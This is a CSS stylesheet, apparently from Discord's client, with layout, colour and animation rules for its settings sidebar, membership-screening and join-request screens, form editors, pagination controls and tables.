.platform-osx .standardSidebarView-3F1I7i::before { content: ""; position: fixed; top: 0px; left: 0px; right: 0px; height: 22px; z-index: 10; -webkit-app-region: drag; }

.sidebarRegion-VFTUkN { flex: 1 0 218px; z-index: 1; }

.sidebarRegion-VFTUkN, .sidebarRegionScroller-3MXcoP { display: flex; -webkit-box-flex: 1; -webkit-box-pack: end; justify-content: flex-end; }

.sidebarRegionScroller-3MXcoP { flex: 1 0 auto; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: start; align-items: flex-start; background: var(--background-secondary); }

.sidebar-CFHs9e { width: 218px; padding: 60px 6px 60px 20px; }

.contentTransitionWrap-3hqOEW { -webkit-box-flex: 1; flex: 1 1 0%; height: 100%; }

.contentRegionScroller-26nc1e { height: 100%; position: static; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: start; align-items: flex-start; overflow-x: hidden; background-color: var(--background-primary); }

.contentRegionScroller-26nc1e .toolsContainer-1edPuj { margin-right: 21px; }

.contentRegionScroller-26nc1e .tools-3-3s-N { position: fixed; }

.contentRegionHiddenSidebar-1T-SwR { -webkit-box-pack: center; justify-content: center; }

.contentRegionShownSidebar-2VepaU { -webkit-box-pack: start; justify-content: flex-start; }

.contentRegion-3nDuYy { position: relative; display: flex; -webkit-box-flex: 1; flex: 1 1 800px; -webkit-box-align: start; align-items: flex-start; background: var(--background-primary); }

.contentColumn-2hrIYH, .customColumn-Rb6toI { -webkit-box-flex: 1; flex: 1 1 auto; max-width: 740px; min-width: 460px; min-height: 100%; }

.contentColumnDefault-1VQkGM { position: relative; padding: 60px 40px 80px; }

.contentColumnMinimal-2iX-kP { padding-right: 40px; }

.customHeader-PhBRGa { padding-top: 60px; }

.customColumn-Rb6toI { padding-bottom: 0px; }

.customContainer-1RHXqt { position: absolute; inset: 0px; overflow: hidden; }

.customScroller-26gWhv { position: static; box-sizing: border-box; display: block; }

.customScroller-26gWhv > div { margin-left: 40px; margin-right: 97px; max-width: 660px; min-width: 404px; }

.noticeRegion-1YviSH { position: absolute; bottom: 0px; left: 0px; right: 71px; max-width: 740px; padding: 0px 20px 20px; z-index: 2; }

.noticeRegionHiddenSidebar-1DS6BO { margin: 0px auto; }

.toolsContainer-1edPuj { position: relative; -webkit-box-flex: 0; flex: 0 0 36px; margin-right: 35px; width: 60px; padding-top: 60px; }

.theme-light .customContainer-1RHXqt::before { box-shadow: rgba(0, 0, 0, 0.1) 0px 1px 4px; border-bottom: 1px solid rgba(0, 0, 0, 0.1); }

.theme-dark .customContainer-1RHXqt::before { box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 4px; border-bottom: 1px solid rgba(0, 0, 0, 0.2); }

.tabBarItemContainer-3eaMv0 { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.spacing-ApfUws { }

.card-3uOWw3 { padding: 10px; line-height: 20px; }

.error-oCzt6n { }

.warning-3AwWn_ { color: rgb(255, 255, 255); }

.pageControlContainer-eP-SVd { bottom: 0px; width: 100%; margin-top: 16px; }

.pageControl-xGOf_S { margin: auto; padding: 4px 0px; }

.pageButton-2ruNwd, .pageControl-xGOf_S { display: flex; -webkit-box-align: center; align-items: center; width: min-content; }

.pageButton-2ruNwd { font-weight: 600; box-sizing: border-box; -webkit-box-pack: center; justify-content: center; height: 28px; min-width: 28px; padding: 6px; margin: 4px; cursor: pointer; color: var(--header-primary); }

.pageButton-2ruNwd:hover { color: var(--interactive-hover); background-color: var(--background-secondary-alt); }

.roundButton-CEHyUp { min-width: 28px; border-radius: 14px; }

.endButton-m5h5Sr { padding: 0px 8px; }

.endButton-m5h5Sr:first-child { padding-right: 12px; }

.endButton-m5h5Sr:last-child { padding-left: 12px; }

.endButtonInner-36a1wi { display: flex; -webkit-box-align: center; align-items: center; }

.gap-3lIf-M { width: 28px; margin: 8px 4px; text-align: center; color: var(--text-normal); }

.iconCaret-291Y5V { display: inline-block; width: 1em; height: 1em; }

.iconCaret-291Y5V:first-child { margin-right: 4px; }

.iconCaret-291Y5V:last-child { margin-left: 4px; }

.jumpToPageInlineInput-1Pcgbd { width: 50px; }

.jumpToPageInlineInput-1Pcgbd + .activeButton-rvKcqq { margin-left: 10px; }

.activeButton-rvKcqq + .jumpToPageInlineInput-1Pcgbd { margin-left: 6px; }

.theme-dark .activeButton-rvKcqq, .theme-dark .activeButton-rvKcqq:hover, .theme-light .activeButton-rvKcqq, .theme-light .activeButton-rvKcqq:hover { color: rgb(255, 255, 255); background-color: var(--brand-experiment-500); }

.guildJoinRequestRow-35c262 { display: flex; padding: 16px; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; border-bottom: 1px solid var(--background-modifier-accent); cursor: pointer; }

.guildJoinRequestRow-35c262:hover { background-color: var(--background-secondary); border-radius: 4px; }

.guildJoinRequestRow-35c262:last-of-type { border-bottom: none; }

.inline-yu1eCu { display: flex; -webkit-box-align: center; align-items: center; }

.spacer-i52oV7 { margin-right: 16px; }

.status-M_uKgm { background-color: var(--background-secondary); padding: 2px 8px; border-radius: 8px; }

.status-M_uKgm.approved-1ruTYe { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.status-M_uKgm.rejected-pJ_kU_ { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.caret-2lmaKa { background-color: var(--background-tertiary); padding: 8px; border-radius: 50%; width: 32px; height: 32px; color: var(--header-secondary); }

.search-3VWz2t { margin-bottom: 16px; }

.emptyContainer-yF7VLv { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.emptyContainer-yF7VLv, .emptyIcon-1-fUj8 { display: flex; }

.emptyIcon-1-fUj8 { height: 90px; margin-top: 84px; margin-bottom: 24px; }

.checkmark-2JmSeu { background-color: var(--background-tertiary); color: var(--interactive-normal); border-radius: 50%; width: 80px; height: 80px; padding: 16px; align-self: center; }

.star-eymo6_ { color: rgb(255, 208, 26); width: 12px; height: 12px; align-self: flex-end; margin: 0px 2px; }

.plus-1EbKzu { color: rgb(90, 230, 220); width: 20px; height: 20px; }

.emptyBody-GDvh5u { margin-top: 8px; }

.fetchingSpinner-3F97LU { margin-top: 48px; margin-bottom: 48px; }

.spacedButton-a-GPe4 { margin: 0px 8px; }

.body-3grkQa { margin-bottom: 16px; }

.close-3uTdy3 { position: absolute; top: 16px; right: 16px; padding: 0px; height: 24px; z-index: 2; }

.modal-3il0tB { min-height: unset; max-height: 100%; }

.headerText-xk6Vc7 { margin-bottom: 16px; }

.modalContent-2GSfDw { padding: 16px; }

.addItemContainer-33GkeZ { display: flex; margin-top: 8px; cursor: pointer; }

.addItemButton-3S74Wc { padding: 0px 0px 0px 8px; }

.dragging-3WA5OB { opacity: 0.6; }

.draggableInputContainer-Jl-rRn { position: relative; display: flex; -webkit-box-align: center; align-items: center; margin-right: -8px; }

.inputWrapper-2zSnT2 { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; position: relative; margin-bottom: 12px; }

.inputWrapper-2zSnT2:hover .clearButton-3TyJt2 { opacity: 1; }

.inputWrapper-2zSnT2:hover .rulesInputNumber-emNXnH { opacity: 0; }

.rulesInputNumber-emNXnH { position: absolute; top: 11px; left: 8px; line-height: 24px; transition: opacity 0.2s ease-in-out 0s; }

.rulesTextAreaInput-dbRKEM { padding-left: 16px; border-radius: 4px; background-color: var(--background-secondary-alt); border: 1px solid var(--background-tertiary); white-space: pre-wrap; }

.clearButton-3TyJt2 { position: absolute; top: 12px; right: 8px; color: var(--interactive-normal); opacity: 0; transition: opacity 0.2s ease-in-out 0s; z-index: 2; }

.clearButton-3TyJt2:focus, .clearButton-3TyJt2:hover { opacity: 1; }

.clearButton-3TyJt2:focus ~ .rulesInputNumber-emNXnH, .clearButton-3TyJt2:hover ~ .rulesInputNumber-emNXnH { opacity: 0; }

.clearIcon-3J-g1M { width: 16px; height: 16px; }

.dragContainer-1O86ES { cursor: move; width: 32px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; margin-bottom: 12px; }

.dragIcon-2amqSh { color: var(--interactive-normal); }

.divider-3_Ycha { height: 1px; background-color: var(--background-modifier-accent); margin: 24px 0px; }

.termsExampleRulesContainer-3zMbeI { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.termsExampleRulePairContainer-34_6rk { display: flex; flex-wrap: wrap; }

.exampleRule-2tqw3G { cursor: pointer; background-color: var(--background-secondary-alt); border-radius: 4px; padding: 8px; margin: 0px 8px 8px 0px; }

.exampleRule-2tqw3G.disabled-1KsKUd { cursor: not-allowed; opacity: 0.8; }

.errorText-2pA15S { margin-top: 8px; }

.spacedItem-5b9Ayp { margin-bottom: 16px; }

.button-1M7ige { width: auto; }

.cancelButton-2rzsCv { margin-right: 8px; }

.characterCount-1q_QLU { font-size: 12px; right: 12px; height: 32px; }

.radioIconEmptyContainer-1wxwa- { padding-right: 10px; display: flex; margin-bottom: 12px; }

.radioIconEmpty-2l96Ui { color: var(--interactive-normal); }

.close-2okGrS { position: absolute; top: 16px; right: 16px; padding: 0px; height: 24px; z-index: 2; }

.modal-1HIJ4q { min-height: unset; max-height: 100%; }

.headerText-ldXsZJ { margin-bottom: 16px; }

.modalContent-MfAPtc { padding: 16px; }

.addItemButton-1lC30o { margin-top: 8px; }

.dragging-1GRizT { opacity: 0.6; }

.draggableInputContainer-2IHkcW { position: relative; display: flex; -webkit-box-align: center; align-items: center; margin-right: -8px; }

.inputWrapper-2a6F8U { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; position: relative; margin-bottom: 12px; }

.inputWrapper-2a6F8U:hover .clearButton-2akzBa { opacity: 1; }

.inputWrapper-2a6F8U:hover .rulesInputNumber-1n2j7c { opacity: 0; }

.rulesInputNumber-1n2j7c { position: absolute; top: 11px; left: 8px; line-height: 24px; transition: opacity 0.2s ease-in-out 0s; }

.rulesTextAreaInput-2aGfKB { padding-left: 16px; border-radius: 4px; background-color: var(--background-secondary-alt); border: 1px solid var(--background-tertiary); white-space: pre-wrap; }

.clearButton-2akzBa { position: absolute; top: 12px; left: 8px; color: var(--interactive-normal); opacity: 0; transition: opacity 0.2s ease-in-out 0s; z-index: 2; }

.clearButton-2akzBa:focus, .clearButton-2akzBa:hover { opacity: 1; }

.clearButton-2akzBa:focus ~ .rulesInputNumber-1n2j7c, .clearButton-2akzBa:hover ~ .rulesInputNumber-1n2j7c { opacity: 0; }

.clearButtonRight--vP5QI { left: unset; right: 8px; }

.clearIcon-1_xlaH { width: 16px; height: 16px; }

.dragContainer-2EVQ7N { padding: 8px; cursor: move; }

.dragIcon-1dICoF { color: var(--interactive-normal); }

.divider-3M6rki { height: 1px; background-color: var(--background-modifier-accent); margin: 16px 0px; }

.exampleRule-32tIs5 { cursor: pointer; background-color: var(--background-secondary-alt); border-radius: 4px; padding: 8px; margin: 0px 8px 8px 0px; }

.exampleRule-32tIs5.disabled-2Owor3 { cursor: not-allowed; opacity: 0.8; }

.errorText-2qUDB7 { margin-top: 8px; }

.cancelButton-2XkGpw { margin-right: 8px; }

.spacedItem-350nB_ { margin-bottom: 16px; }

.characterCount-39ID2T { font-size: 12px; right: 12px; height: 32px; }

.addFieldButtonsContainer-2ecRcx { width: 160px; margin-right: 32px; -webkit-box-flex: 0; flex: 0 0 auto; }

.addFieldRow-3_brle { margin: 20px 0px; font-weight: 600; }

.addFieldButton-LieBLO { cursor: pointer; }

.disabled-3rsGZ1 { opacity: 0.2; }

.icon-1CGepy { padding: 4px; border-radius: 4px; background-color: var(--background-secondary); margin-right: 8px; color: var(--interactive-normal); }

.iconBackground-2OK4vl { fill: var(--background-secondary); }

.previewContainer-12Libf { -webkit-box-flex: 1; flex: 1 1 auto; width: 508px; }

.editableFieldsContainer-1LYE1s { margin-right: -40px; width: 508px; }

.formPreview-JBqQAX { background-color: var(--background-secondary); border-radius: 8px; padding: 16px; }

.editableFormFieldWrapper-S6Tyfh { display: flex; margin-bottom: 8px; }

.editableFormFieldWrapper-S6Tyfh:hover .editButtonsWrapper-Jj1cFn { visibility: visible; }

.dragging-3XbwTj { opacity: 0.5; }

.draggableWrapper-1MSRt5 { z-index: 2; display: flex; -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; }

.draggableWrapper-1MSRt5 * { cursor: move; }

.editButtonsWrapper-Jj1cFn { margin-left: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; visibility: hidden; }

.editButton-1MavoF { cursor: pointer; background-color: var(--background-secondary); padding: 8px; border-radius: 50%; margin-bottom: 8px; color: var(--interactive-normal); }

.editButton-1MavoF:focus, .editButton-1MavoF:hover { color: var(--interactive-active); }

.editButtonDisabled-1F2FLU { cursor: default; }

.editButtonDisabled-1F2FLU, .editButtonDisabled-1F2FLU:focus, .editButtonDisabled-1F2FLU:hover { color: var(--interactive-muted); }

.getStartedWrapper-2AGgRZ { width: 100%; background-color: var(--background-secondary); border-radius: 8px; padding: 24px 16px; margin: 0px; text-align: center; }

.getStartedIcon-3v4RyG, .getStartedSubtitle-260-IP { margin-bottom: 16px; }

.getStartedTitle-2nDca2 { margin-bottom: 8px; }

.errorBanner-1EY3-l { margin-bottom: 16px; }

.approvalTypeNotice-sWkFpW { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-bottom: 16px; }

.approvalTypeTitle-3JmBVz { text-transform: uppercase; padding: 8px; border-radius: 8px 8px 0px 0px; }

.autoApprovalTitle-3Suv0U { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.manualApprovalTitle-3aZYAH { background-color: var(--brand-experiment); }

.approvalTypeBody-ctYX-S { padding: 8px; background-color: var(--background-secondary); border-radius: 0px 0px 8px 8px; }

.settingsSubtitle-14oNNx { color: var(--header-secondary); }

.enableContainer-2DIT9Q { padding: 16px; background-color: var(--background-secondary-alt); border-radius: 4px; }

.iconCircle-JEgPhb { margin-right: 16px; border-radius: 50%; }

@-webkit-keyframes enable-QfV0hb { 
  0% { transform: scale(1); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

@keyframes enable-QfV0hb { 
  0% { transform: scale(1); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

.activeCircle-15Lt-Q { padding: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.activeCircle-15Lt-Q.animate-1KSSuz { animation: 0.6s ease 0s 1 normal none running enable-QfV0hb; }

.editCircle-y9c7xP { padding: 5px; background-color: var(--interactive-muted); color: var(--interactive-normal); }

.enableDescription-32NG7M { margin: 0px 8px 0px 0px; }

.previewButton-1IdhSk { margin-right: 8px; }

.divider-1luoRp { height: 1px; background: var(--background-modifier-accent); margin: 32px 0px; }

.descriptionWrapper-3AsAaj { margin-top: 32px; }

.introDescription-1J4pmi { margin-bottom: 8px; }

.description-2JL2oB { margin-bottom: 16px; }

.descriptionSpaced-3KimHl { margin-bottom: 32px; }

.switchField-3-keGE { display: flex; }

.switch-2rfDZ3 { flex-shrink: 0; }

.exampleContainer-3ekFIr { position: relative; background-image: url("https://discord.com/assets/691cf187cd943ed81f043740606878e7.svg"); background-repeat: no-repeat; background-position: 0px 0px; background-size: cover; width: 100%; height: auto; background-color: var(--background-floating); border-radius: 8px; display: flex; -webkit-box-pack: center; justify-content: center; }

.exampleModal-2oh58d { transform: scale(0.75); width: 720px; background-color: var(--background-primary); border-radius: 8px; box-shadow: var(--elevation-high); -webkit-box-flex: 1; flex: 1 0 auto; }

.exampleWumpus-3QIhvG { position: absolute; top: -30px; right: -20px; display: flex; -webkit-box-align: center; align-items: center; }

.wumpus-3Q6pSF { filter: drop-shadow(var(--elevation-high)); }

.tooltip-3oByQd { box-shadow: var(--elevation-high); background-color: rgb(0, 0, 0); color: rgb(220, 221, 222); border-radius: 5px; font-weight: 500; font-size: 14px; line-height: 16px; padding: 8px 12px; }

.tooltipPointer-22Q7m0 { width: 0px; height: 0px; border-width: 5px; border-style: solid; border-color: transparent rgb(0, 0, 0) transparent transparent; border-image: initial; }

.divider-WtgBDD { margin: 16px 0px; width: 100%; border-top: none; border-right: none; border-left: none; border-image: initial; border-bottom: 1px solid var(--background-modifier-accent); }

.guildSidebar-339BqP { border-top-left-radius: 8px; border-bottom-left-radius: 8px; box-sizing: border-box; background-color: var(--background-secondary); padding: 24px; max-width: 256px; flex-shrink: 0; }

.guildInfo-3Co_-d { width: 100%; }

.content-BMIBeK { -webkit-box-flex: 1; flex: 1 1 0%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-top-right-radius: 8px; border-bottom-right-radius: 8px; background-color: var(--background-primary); padding: 16px 16px 16px 8px; text-align: center; }

.formItem-3RbGCz { text-align: left; margin-bottom: 12px; }

.exampleTextSingleLine-1kvErc { background-color: var(--background-accent); height: 8px; }

.spacedSingleLine-284nsO { margin-bottom: 8px; }

.rule-BF256F { margin-left: 8px; }

.checkbox-2nFD7p { margin-top: 16px; cursor: default; }

.fakeButton-kGEmb3 { background-color: var(--brand-experiment); border-radius: 4px; padding: 12px 20px; color: rgb(255, 255, 255); font-size: 14px; margin-top: 12px; }

.applicationIcon-3MMA5L { width: 88px; height: 80px; align-self: center; margin-top: 4px; margin-bottom: 16px; }

.left-3d-3Co { transform: rotate(270deg); }

.right-1C2enk { transform: rotate(90deg); }

.down-15EnQ5 { transform: rotate(180deg); }

.container-Mx-d44 { display: flex; -webkit-box-pack: justify; justify-content: space-between; padding-top: 16px; }

.application-2nEPog { background-color: var(--background-secondary); padding: 24px 16px; border-radius: 8px; margin-right: 32px; width: 448px; flex-shrink: 0; }

.sidebar-3eQgYX { -webkit-box-flex: 1; flex-grow: 1; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.separator-2GEmcy { background-color: var(--background-modifier-accent); height: 1px; border: none; }

.applicationSeparator-3UMMMN { margin: 24px 0px; }

.sidebarSeparator-1CBSKj { margin: 16px 0px; }

.username-22hVg7 { display: flex; -webkit-box-align: baseline; align-items: baseline; margin-top: 16px; }

.buttonSpacing-16uR9X { margin-top: 8px; }

.statusIcon-2yEPun { border-radius: 50%; color: rgb(255, 255, 255); margin-bottom: 16px; padding: 4px; }

.approvedIcon-3I8Nza { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.deniedIcon-3mgLef { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.sidebarTitle-321nV4 { text-transform: uppercase; }

.status-1M9P91 { margin-bottom: 8px; }

.rejectionReason-3Qmyd7 { margin-bottom: 16px; }

.actionedBy-3V8pD0 strong { color: var(--header-primary); }

.icon-1OR3gE { color: var(--header-secondary); }

.back-_74poR { cursor: pointer; }

.chevron-1na0X5 { width: 12px; height: 12px; }

.header-2jSm1D { text-transform: uppercase; -webkit-box-align: center; align-items: center; display: flex; margin-bottom: 16px; }

.header-2jSm1D .back-_74poR { width: 24px; height: 24px; margin-right: 12px; }

.header-2jSm1D .chevron-1na0X5 { margin: 0px 16px; }

.navbar-2vZ7h_ { margin-top: 32px; }

.navbar-2vZ7h_ .previous-2JMK7C { position: absolute; left: 48px; }

.navbar-2vZ7h_ .next-3x7PPz { position: absolute; right: 48px; }

.navbarTitle-1KluPS { text-align: center; }

.navButton-1ir_oT { display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; }

.separator-FnHpRg { background-color: var(--background-modifier-accent); height: 1px; border: none; margin: 16px 0px; }

.navSpacing-2nV0am { margin-right: 4px; }

.containerBackground-1IMLNm { background-color: var(--background-secondary); border-radius: 4px; position: relative; }

.containerBackground-1IMLNm > .dragIconContainer-2n_duf { visibility: hidden; }

.containerBackground-1IMLNm:hover > .dragIconContainer-2n_duf { visibility: visible; }

.containerBackground-1IMLNm + .containerBackground-1IMLNm { margin-top: 16px; }

.containerPadding-3CKxzh { padding: 16px; }

.dragContainer-QN23-k * { cursor: move; }

.dragIconContainer-2n_duf { position: absolute; left: -24px; top: 64px; }

.dragging-1viPr1 { opacity: 0.5; }

.iconContainer-39mrL4 { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); margin-right: 16px; border-radius: 20px; height: 40px; width: 40px; -webkit-box-flex: 0; flex: 0 0 40px; }

.containerWithIcon-tIdXUc, .iconContainer-39mrL4 { display: flex; }

.containerWithIcon-tIdXUc { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; padding: 16px; }

.title-1LXLAp { display: flex; white-space: pre-wrap; -webkit-box-align: center; align-items: center; font-size: 16px; font-family: var(--font-display); }

.containerTitle-3y971r { margin-bottom: 16px; }

.containerWithIconTitle-2i0hqn { margin-bottom: 4px; }

.containerWithIconDescription-3L4_WV { margin-bottom: 16px; }

.containerTopHat-TXkzNI { display: flex; -webkit-box-pack: start; justify-content: flex-start; background-color: var(--background-secondary-alt); padding: 8px 16px; border-top-left-radius: 4px; border-top-right-radius: 4px; }

.containerTopHatText-xrXCvW { text-transform: uppercase; font-weight: 700; }

.containerFooter-hIPcto { display: flex; -webkit-box-pack: end; justify-content: flex-end; background-color: var(--background-secondary-alt); padding: 16px; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; }

.verificationLevelHook-32L9jc { -webkit-box-flex: 1; flex: 1 1 0%; line-height: 20px; font-weight: 600; margin-bottom: 0px; }

.fieldBackground-5TXQam { background-color: var(--background-secondary-alt); border: 1px solid var(--background-tertiary); border-radius: 4px; }

.clickable-1NuZrx { cursor: pointer; }

.fieldPadding-1iz2NH { padding: 10px 17px; }

.fieldFooterContainer-1g5kRp { color: var(--header-primary); background-color: var(--background-tertiary); display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; padding: 8px 16px; }

.guildVerificationText-2MdHf2 { -webkit-box-flex: 1; flex: 1 1 0%; margin-left: 10px; font-size: 16px; }

.verificationContainer-3NaW2K { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.verificationIcon-2FyrIv { color: var(--interactive-normal); }

.verificationPencilIcon-2of9CQ { display: flex; cursor: pointer; }

.button-1eFbib * { cursor: pointer; }

.removeButton-1ZSkNs { color: var(--interactive-normal); }

.termsFieldCaretIcon-m3kgTi { margin-left: 4px; }

.addFormFieldContainer-EQR0HE { width: 100%; }

.addFormFieldContainer-EQR0HE + .addFormFieldContainer-EQR0HE { margin-top: 8px; }

.addFormField-1lGbHF { display: inline-flex; padding: 8px; background-color: var(--background-secondary-alt); border-radius: 8px; cursor: pointer; }

.addFormFieldText-ugSRA2 { color: var(--interactive-normal); font-weight: 600; margin-left: 8px; cursor: pointer; }

.radioItemClassName-2ImX5n { cursor: default; }

.radioItemClassName-2ImX5n:active:not([aria-checked="true"]), .radioItemClassName-2ImX5n:hover:not([aria-checked="true"]) { color: var(--interactive-normal); }

.radioItemIconClassName-OOrvSa { display: flex; }

.radioItemIconClassName-OOrvSa > svg { width: 20px; height: 20px; }

.content-199iuG { padding: 16px; }

.descriptionText-1o6eLG { margin-top: 8px; }

.manualApprovalDescriptionText-1i_Vx0 { margin-top: 8px; margin-bottom: 14px; }

.actionButton-1llBau { margin-left: 8px; }

.container-1ncGBR { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: 24px; }

.container-1ncGBR, .iconContainer-cR-pHD { display: flex; -webkit-box-align: center; align-items: center; }

.iconContainer-cR-pHD { -webkit-box-pack: center; justify-content: center; background-color: var(--background-tertiary); border-radius: 20px; margin-bottom: 8px; height: 40px; width: 40px; -webkit-box-flex: 0; flex: 0 0 40px; cursor: pointer; }

.icon-3Bpch- { color: var(--interactive-normal); }

.menu-1X-NuT { margin-bottom: 38px; }

@-webkit-keyframes enable-3OnBn3 { 
  0% { transform: scale(1); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

@keyframes enable-3OnBn3 { 
  0% { transform: scale(1); background-color: var(--interactive-muted); }
  20% { box-shadow: 0 0 0 0 hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.5); }
  60% { transform: scale(1.2); background-color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }
  100% { transform: scale(1); box-shadow: 0 0 0 8px hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0); }
}

.toggleStateContainer-1wzAA8 { display: flex; -webkit-box-pack: start; place-content: center start; margin-bottom: 16px; }

.toggleText-3vteFZ { margin-bottom: 0px; }

.toggleDescription-3vkZB9 { font-size: 12px; line-height: 16px; }

.enableToggleButton-3_Cyt- { margin-top: 16px; margin-bottom: 8px; }

.iconCircle-1AIVHb { margin-right: 8px; border-radius: 50%; }

.enableCircle-3gtaE4 { padding: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.enableCircle-3gtaE4.animate-2J6GZr { animation: 0.6s ease 0s 1 normal none running enable-3OnBn3; }

.disableCircle-3LfTs0 { padding: 5px; background-color: var(--background-accent); color: rgb(255, 255, 255); }

.container-3r1KPo, .mainColumnContainer-A7p8ec { display: flex; }

.mainColumnContainer-A7p8ec { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.sidebarContainer-1byQa6 { min-width: 188px; -webkit-box-flex: 0; flex: 0 0 188px; padding: 16px; margin-left: 32px; border: 1px solid var(--background-modifier-accent); border-radius: 8px; height: 100%; }

.introDescription-1cnNj2 { margin-bottom: 8px; }

.description-2J8TtK { margin-bottom: 16px; }

.introDescription-388hn_ { margin-bottom: 40px; }

.description-1wEhe7 { margin-bottom: 16px; }

.descriptionSpaced-2gwhpd { margin-bottom: 32px; }

.tabs-3gkT2D { border-bottom: 2px solid var(--background-modifier-accent); margin-bottom: 32px; }

.tab-1vbb5p, .tabs-3gkT2D { display: flex; }

.tab-1vbb5p { padding: 16px 0px; cursor: pointer; -webkit-box-align: center; align-items: center; margin-bottom: -2px; }

.badge-Jd6Xnv { border-radius: 8px; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); height: 16px; padding: 0px 4px; font-weight: 600; margin-left: 4px; color: rgb(255, 255, 255); }

.spacer-3Fy2-T { margin-right: 32px; }

.container-2OaeC5 { margin: auto; }

.header-14BxcG { text-align: center; margin-bottom: 32px; }

.title-1_7rBn { margin-top: 32px; margin-bottom: 8px; }

.cards-2Pm6x0 { display: grid; gap: 16px; grid-template-columns: 1fr 1fr 1fr; }

.card-rfjpUl { background: var(--background-secondary); border-radius: 8px; padding: 16px; }

.cardIconWrapper-2SSvS6 { display: inline-block; background: var(--background-tertiary); padding: 8px; border-radius: 50%; line-height: 0; }

.cardTitle-3Xtd4Y { margin-top: 16px; }

.cardDescription-2CoUCA { margin-top: 8px; }

.ctaSection-1TelBV { margin-top: 32px; }

.ctaSection-1TelBV .ctaButton-3bYpQb { margin: auto; color: rgb(255, 255, 255); background: linear-gradient(90deg,hsl(160,calc(var(--saturation-factor, 1)*81.3%),35.7%),hsl(198,calc(var(--saturation-factor, 1)*81.5%),46.7%)); }

.row-1Lmx44 { display: flex; }

.clickable-VxMZ3b { cursor: pointer; color: var(--interactive-normal); }

.clickable-VxMZ3b:hover { color: var(--interactive-hover); }

.headerCell-2jGIdL, .headerCellContent-1pLtOr { display: flex; }

.headerCellContent-1pLtOr { -webkit-box-align: center; align-items: center; min-height: 18px; }

.stickyHeader-r2k9DK { position: fixed; top: 0px; left: 0px; z-index: 2; }

.spacerHeader-3eoEE2 { visibility: hidden; }

.sortIcon-3wW2NW { width: 18px; height: 18px; margin-left: 4px; }

.theme-dark .headerCellSorted-1JR4Ny { color: rgb(255, 255, 255); }

.theme-light .headerCellSorted-1JR4Ny { color: rgb(79, 84, 92); }

.table-1RqN5T { width: 100%; }

.tableContainer-3tU4u- { border-radius: 8px; padding: 16px 16px 0px; background-color: var(--background-secondary); }

.row-251F_4 { color: var(--interactive-normal); font-size: 16px; border-bottom: 1px solid rgba(255, 255, 255, 0.06); padding: 8px 0px; }

.row-251F_4:last-child { border-bottom: none; }

.header-JHGHFA { text-transform: uppercase; font-size: 12px; line-height: 16px; font-family: var(--font-display); color: var(--header-secondary); font-weight: 600; padding-bottom: 8px; border-bottom: 1px solid rgba(255, 255, 255, 0.06); }

.cellAlignRight-1ieNRL { text-align: right; -webkit-box-pack: end; justify-content: flex-end; }

.cell-1-7a8L { padding: 10px 0px; }

.toggleExpandColumn-1_5nq9 { width: 30px; }

